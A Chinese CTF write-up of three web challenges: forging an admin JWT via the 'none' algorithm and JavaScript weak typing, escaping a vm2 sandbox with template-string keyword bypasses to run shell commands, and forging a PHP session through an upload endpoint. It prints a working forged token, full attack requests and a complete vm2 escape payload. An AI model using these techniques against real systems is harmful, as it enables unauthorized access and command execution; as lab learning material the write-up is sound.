最近在忙毕设和毕业相关事情,事情比较多,但因为最近比赛中见到的 Node 题越来越多,还是想写一下公开的 Writeup,所以 Writeup 就突出重点,简略写了。

第一次跟公司战队打比赛,还不错,企业组第七名,各位小伙伴都辛苦了~

然后就是 WriteUp。

以下环境均可在 https://buuoj.cn 一键启动。

0x01. EasyLogin

知识点:

  • NodeJS 代码审计
  • NodeJS 弱类型特性
  • NodeJS 依赖库缺陷

步骤:

1. 首先打开靶机,是这么一个页面。

2.然后打开页面源代码,看到 app.js 里有写到 static 是直接映射到程序根目录的。

3.那么就推断程序存在任意文件读取漏洞,尝试读取 NodeJS 应用常见主文件 app.js。

成功,如法炮制,分析源码,读取所有文件。

4.重点来看到 controllers/api.js,也就是主要逻辑代码了。

注册 /api/register,接受传入的 username 和 password,先判断 username 不为 admin,然后生成一个 key 来以这些信息为依据,生成一个 jwt 令牌,key 同时存入全局数组。

登录 /api/login,接受传入的 username 和 password,然后从令牌的信息段中取 key 的 id,从程序中的全局数组取出 key,然后进行验证,验证通过之后置 session 中的 username 为登录时使用的 username。

获取FLAG /api/flag,判断 session 中的用户名是否为 admin,是的话就直接给 flag。

需求很清晰了,注册-> 登录为 admin ->获取 flag。

关键就在怎么登录为 admin 上。

5.可以看到信息是用 jwt 令牌储存的,使用 jsonwebtoken 库来操作,这里用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。

两处都有密钥 key 的情况下,报错。
验证处不输入密钥 key 的情况下,验证通过。

补充:原理见评论,分析源码可以看到接收的正确 options 为 algorithms 而不是 algorithm。

node_modules/jsonwebtoken/verify.js

6.回到源程序逻辑中,若想让这里的密钥 key为空,就需要修改上面的 secretid。那么就尝试修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。

注意,这里还有一个验证,要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。乍看之下没有操作空间,怎么整都会取出 密钥 key。但别忘了 JavaScript 是一门弱类型语言,NodeJS 都是 JS 的语法,那自然也是咯。所以我们只要选择恰当的数据来绕过这个判断即可。可以做一个小实验来验证我们的想法。

一个小实验,空数组与数字比较永远为真,当然用空字符串之类的也可以

7.综上所述,所以我们只需要生成一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none,即可绕过验证,使得最后登录时验证的用户名为 admin。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzMwMjYxN30.

8.然后使用 Postman 进行请求。

注册,是为了初始化全局变量 secrets 数组。

POST /api/register HTTP/1.1
Host: 2b7cf2a9-2d5a-48d7-9eed-f7eed1de1070.node3.buuoj.cn
Content-Type: application/json
cache-control: no-cache
Postman-Token: 4201deb6-fddf-4b31-b3d2-7ea37daf8a37
{"username":"glzjin", "password":"123456"}

把上一步生成的 token 放进去,登录,上面生成的令牌这里放到哪里都行,所以我选择放到请求头里。同时用户名 admin 和密码记得和之前用代码生成 jwt token 时的一致,这样才能验证通过正确登录。

POST /api/login HTTP/1.1
Host: 2b7cf2a9-2d5a-48d7-9eed-f7eed1de1070.node3.buuoj.cn
Content-Type: application/json
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzMwMjYxN30.
cache-control: no-cache
Postman-Token: 13b128d6-7a81-45fa-a7d0-777a00647626
{"username":"admin", "password":"123456"}

登录成功之后,postman 像浏览器一样自动管理 cookie,所以我们直接 get /api/flag 路由即可拿到 flag。

9.Flag 到手~

0x02. JustEscape

知识点:

  • vm.js 沙箱逃逸与过滤绕过
  • JavaScript 模板字符串

步骤:

1.打开靶机,提示可以执行命令。

2.初步测试有回显,用每种语言产生异常的代码 fuzz 一下,使其抛出一个异常,发现后端为NodeJS,得到组件等敏感信息。

Payload:

http://d48e732e-106d-4bf8-a0bf-695e9c873939.node3.buuoj.cn/run.php?code=%28function%28%29%7B%0Avar%20err%20%3D%20new%20Error%28%29%3B%0Areturn%20err.stack%3B%0A%7D%29%28%29%3B

NodeJS + vm2。

3.到 vm2 的仓库里查找一下逃逸相关的 issue,维护者一直在不断找逃出沙盒的链条与方法,查找到那么一个issue https://github.com/patriksimek/vm2/issues/225。可用于 3.8.3,比较新。

先在本地测试一下。

首先安装依赖。

成功。

利用 console.log 输出 payload,

4.打上去,似乎被过滤了。

fuzz 一下,有 for, while, process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤了。

5.以前有看到过文章,可以利用字符串拼接和数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但注意到单双引号和加号同时被过滤了,我们想要直接输入字符串拼接的话似乎也行不通了。这里我们可以利用反引号来把文本括起来作为字符串 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings,同时我们也可以利用模板字符串嵌套来拼接出我们想要的被过滤了的字符串。

比如这里 prototype 被过滤了,我们可以这样书写

`${`${`prototyp`}e`}`

这样就可以拼接出一个 prototype 字符串。

本地测试
线上测试

6.这样来改写我们的 payload,将所有被过滤的关键词用这种方式转换,同时结合数组调用来绕过过滤保证正确调用。

Payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()
本地测试正常
远程测试正常

7.然后执行命令,获取 flag。

ls \
cat /flag

8.Flag 到手~

0x03.BabyUpload

知识点:

  • PHP 代码审计
  • session 处理器甄别 + session 伪造
  • 函数特性(file_exists)

步骤:

1.打开靶机,直接给了源码了。

2.审计代码。

开头,将 session 的放置目录设置为 /var/babyctf/,并且启动 session,同时引入 /flag 内容。

判断 session 中 username 是否为 admin,是的话判断 /var/babyctf/success.txt 是否存在,存在的话就把 success.txt 删了,并显示 flag。

获取相关参数,均为 POST 参数,direction 表示是上传(upload)还是下载(download)操作,attr 会被直接拼接在 /var/babyctf 这个路径后面,如果 attr 为 private 则把用户名继续拼接在后面。

上传操作,上传文件的 field 为 up_file,把文件名拼接在后面,同时加上下划线和这个文件内容的 sha256 摘要值,文件是我们上传的,文件内容知道的情况下这个值也是可以在本地算出来的。然后判断是否有路径穿越,逐级创建目录,将文件储存到下面上传就结束了

下载操作,获取要读取的文件名(POST filename参数),拼接路径,判断是否有路径穿越,然后将文件内容返回。

所以要读取 Flag,需求就很明确了:

伪造 session 使自己变成 admin -> 创建一个 success.txt 文件 -> 读取 flag。

3. 对于伪造 session,我们前面看到上传文件处是这样拼接文件名的,源名_sha256 摘要值。我们只需要上传一个名为 sess 的文件,内容为我们伪造的 session 内容,计算出它的摘要值,然后将 Cookie 中的 PHPSESSID 改为这个 sha256 值,即可成功伪造 session。

先读取一下远程的 session 文件内容。

首先读取一下 SESSION ID。

然后构造请求来读取这个文件内容。attr 为空则直接读取 /var/babyctf/ 下的文件了。文件名则为 sess_PHPSESSID内容,固定格式。

没有竖线,参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/ 判断其 session 处理器为 php_binary,则使用本地的的 PHP,将其 session 处理器改为 php_binary,然后利用其来生成 session 文件。

<?php

ini_set('session.serialize_handler', 'php_binary');
session_save_path("/Users/jinzhao/PhpstormProjects/untitled34/babyctf/");
session_start();

$_SESSION['username'] = 'admin';
代码
访问
在 代码里设置的 SESSION 目录下获得 SESSION 文件
改名为 sess

注意:不能直接用文本编辑器生成,因为 session 文件前面还有个隐藏字符 08,普通编辑器无法录入这个字符导致操作失败,需要用十六进制编辑器,或者干脆直接让 php 来生成。

使用 PHP 来计算这个文件的 sha256 摘要值。

php -r "echo hash_file('sha256', 'sess');"

构造上传请求,上传。

上传之后可以读取一下是否上传成功。

然后把 Cookie 里的 PHPSESSID 改为计算出的 sha256 值 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 即可。

4.然后就是在 /var/babyctf 下创建一个 success.txt 文件。

这里我们看到是用 file_exists 函数判断文件是否存在的。

在 PHP 文档中写到这个函数用于判断文件或者目录是否存在。

虽然我们不能完全控制上传的文件名,但上传的路径我们是可以控制的,所以我们只需要在 /var/babyctf/ 下创建一个 success.txt 目录即可。

还记得之前的 attr 参数吗,我们将其改为 success.txt,即可创建一个 success.txt 目录。

上传请求
检查上传结果请求
上传成功。

5.这时再刷新页面,就可以看到 flag 了。

6.Flag 到手~

总体来说题还是挺有意思的,自己也要多加强对这类”新兴”语言的学习。平常也要做做题,保持竞技状态,不要抢血都抢不过人家。